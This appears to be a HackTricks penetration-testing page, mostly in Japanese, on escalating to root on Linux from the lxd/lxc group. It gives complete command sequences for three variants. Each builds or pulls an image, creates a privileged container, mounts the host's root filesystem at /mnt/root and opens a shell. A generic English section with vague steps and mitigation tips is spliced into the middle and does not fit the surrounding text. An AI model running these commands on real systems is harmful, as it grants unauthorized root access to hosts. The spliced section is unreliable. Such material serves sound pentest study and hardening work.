hacktricks/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
2023-07-07 23:42:27 +00:00

9.3 KiB
Raw Blame History

lxd/lxcグループ - 特権昇格

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

もし lxd または lxc グループに所属している場合、rootになることができます

インターネットなしでの攻撃

方法1

このディストロビルダーをマシンにインストールすることができます: https://github.com/lxc/distrobuilder (githubの指示に従ってください):

sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

次に、脆弱なサーバーに lxd.tar.xzrootfs.squashfs のファイルをアップロードします。

イメージを追加します:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

LXD Privilege Escalation

Introduction

This document explains a privilege escalation technique in LXD, a container hypervisor for Linux systems. By exploiting misconfigurations in LXD, an attacker can gain root privileges within a container and potentially escalate their privileges on the host system.

Prerequisites

To perform this attack, you need the following:

  • Access to a Linux system with LXD installed.
  • Basic knowledge of Linux command-line interface (CLI) and LXD commands.

Attack Scenario

  1. Create a Container: First, create a new container using the LXD command-line tool. Specify the desired Linux distribution and version for the container.

    lxc launch <image> <container-name>
    
  2. Add Root Path: Once the container is created, add the root path to the container's configuration. This will allow the container to access the host system's root filesystem.

    lxc config device add <container-name> root disk source=/ path=/
    

    This command adds a new device named "root" to the container's configuration, with the source set to the host system's root filesystem ("/") and the path set to the root directory ("/") within the container.

  3. Start the Container: Start the container to apply the changes made to its configuration.

    lxc start <container-name>
    
  4. Access the Container: Once the container is running, access its shell using the LXD command-line tool.

    lxc exec <container-name> -- /bin/bash
    
  5. Privilege Escalation: Within the container's shell, execute commands to escalate privileges and gain root access. This can be achieved by exploiting vulnerabilities or misconfigurations within the container or the host system.

Mitigation

To prevent privilege escalation attacks in LXD, follow these best practices:

  • Regularly update LXD and the host system to ensure that security patches are applied.
  • Limit the privileges of LXD containers by using appropriate Linux user namespaces and resource restrictions.
  • Avoid adding the root path to containers unless absolutely necessary, and carefully review the security implications before doing so.
  • Implement strong access controls and monitor container activity for any suspicious behavior.

By following these guidelines, you can reduce the risk of privilege escalation attacks in LXD containers.

lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

{% hint style="danger" %} もしエラーが発生した場合 エラー: ストレージプールが見つかりません。新しいストレージプールを作成してください
lxd init を実行し、前のコマンドのチャンクを繰り返してください {% endhint %}

コンテナを実行します:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

方法2

Alpineイメージをビルドし、フラグsecurity.privileged=trueを使用して起動します。これにより、コンテナがホストのファイルシステムとしてrootとして対話するように強制されます。

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Alternatively https://github.com/initstring/lxd_root

インターネットを使用する場合

こちらの手順に従うことができます。

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

その他の参考資料

{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥